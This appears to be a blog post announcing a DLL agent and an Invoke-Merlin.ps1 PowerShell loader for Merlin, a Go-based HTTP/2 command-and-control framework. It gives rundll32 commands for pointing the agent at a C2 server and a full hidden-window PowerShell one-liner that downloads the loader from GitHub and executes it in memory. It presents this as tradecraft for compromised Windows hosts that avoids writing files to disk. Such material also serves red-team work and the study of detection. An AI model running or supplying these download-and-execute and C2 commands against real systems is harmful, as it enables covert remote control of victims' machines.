š§ā Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
tl;dr Merlin now ships with an Agent DLL to enable support for TTPs that leverage a DLL. The DLL has also been embedded in anĀ Invoke-Merlin.ps1Ā for in-memory execution to stay off Disk.
MerlinĀ is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang .Go is powerful because you can write one program and cross-compile it to many other platforms. One of my original goals with Merlin was to create a DLL to facilitate in-memory loading. In fact, this is one of the reasons why it took so long for a public release because I wasnāt able to get it figured out. After building a decent foundation and releasing Merlin to the public, I wanted to come back to generating a DLL. I ran acrossĀ this repositoryĀ where the author demonstrated how to generate a DLL from Go. In short, you have to export a function and then generate a C archive and header file using theĀ go build -buildmode=c-archiveĀ command. Following this, you need aĀ simple C fileĀ that merely executes the exported command. Finish up by compiling the C file with GCC and voilĆ , you have a DLL file. Additional information on how to compile the DLL can be found in theĀ README.
Dynamic Link Library (DLL)
One of my favorite trade craft techniques is to load an agent or tool into memory using PowerShell to avoid putting files on the compromised hostās file system. DLL files can be a powerful way to execute code on a compromised host. Tools such as Metasploit/meterpreter and FuzzBunch can be provided with an arbitrary DLL for execution on a compromised host.
rundll32.exe
The provided DLL can be delivered and executed many different ways. One method is to use Windowsā built-in rundll32.exe program. To execute the merlin.dll file, pass the file as an argument and provide the entry point using a comma after the DLL (i.e.Ā rundll32 merlin.dll,main) . The rundll32.exe program will load merlin.dll using the LoadLibrary() function and then call the provided entry point. By default, the DLL is hard coded to connect toĀ https://127.0.0.1:443/. The target server can be changed by calling the exportedĀ RunĀ function as an entry point and providing the target URL. For exampleĀ rundll32 merlin.dll,Run https://yourdomain.com:443/. This works because underlying program parses the passed in argumentsĀ only whenĀ rundll32 is used.
PowerShell ā Invoke-Merlin.ps1
A big thank you to Joe Bialek (@JosephBialek) andĀ Matt GraeberĀ for their work onĀ Invoke-ReflectivePEInjection.ps1. This PowerShell script can be used to reflectively load a Windows DLL file into the PowerShell process or another remote process. Iāve adapted this script by embedding a Base64 encoded version ofĀ merlin.dllĀ into the script. The original Invoke-ReflectivePEInjection functionality is still intact making this script dual use. Using Invoke-Merlin, a Merlin agent can be loaded into memory with the following command:
powershell.exe -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ne0nd0g/merlin/dev/data/bin/powershell/Invoke-Merlin.ps1;Invoke-Merlin"
Limitations
Development of theĀ merlin.dllĀ is still underway. As such, a current limitation is that the DLL has no way to specify the C2 serverās URL at the time of execution when calling Invoke-Merlin.ps1. The addressĀ https://127.0.0.1:443/Ā is hard coded into the DLL. A simple work around is to compile the DLL with your serverās URL and to update Invoke-Merlin.ps1. TheĀ READMEĀ file has detailed information on how to compile the DLL and and update Invoke-Merlin.ps1 onlyĀ with 3 commands.

Conclusion
Adding a DLL version of the agent is huge when it comes to working with compromised Windows hosts. This opens a lot of doors to enable using many different trade craft techniques. More prominently is the ability to reflectively load the DLL into another process using the Invoke-Merlin.ps1 script. Once youāve exploited a host and have command execution, deliver the PowerShell script to load everything into memory without writing a file to disk. Let me know your thoughts in the comments below.
-Happy Hacking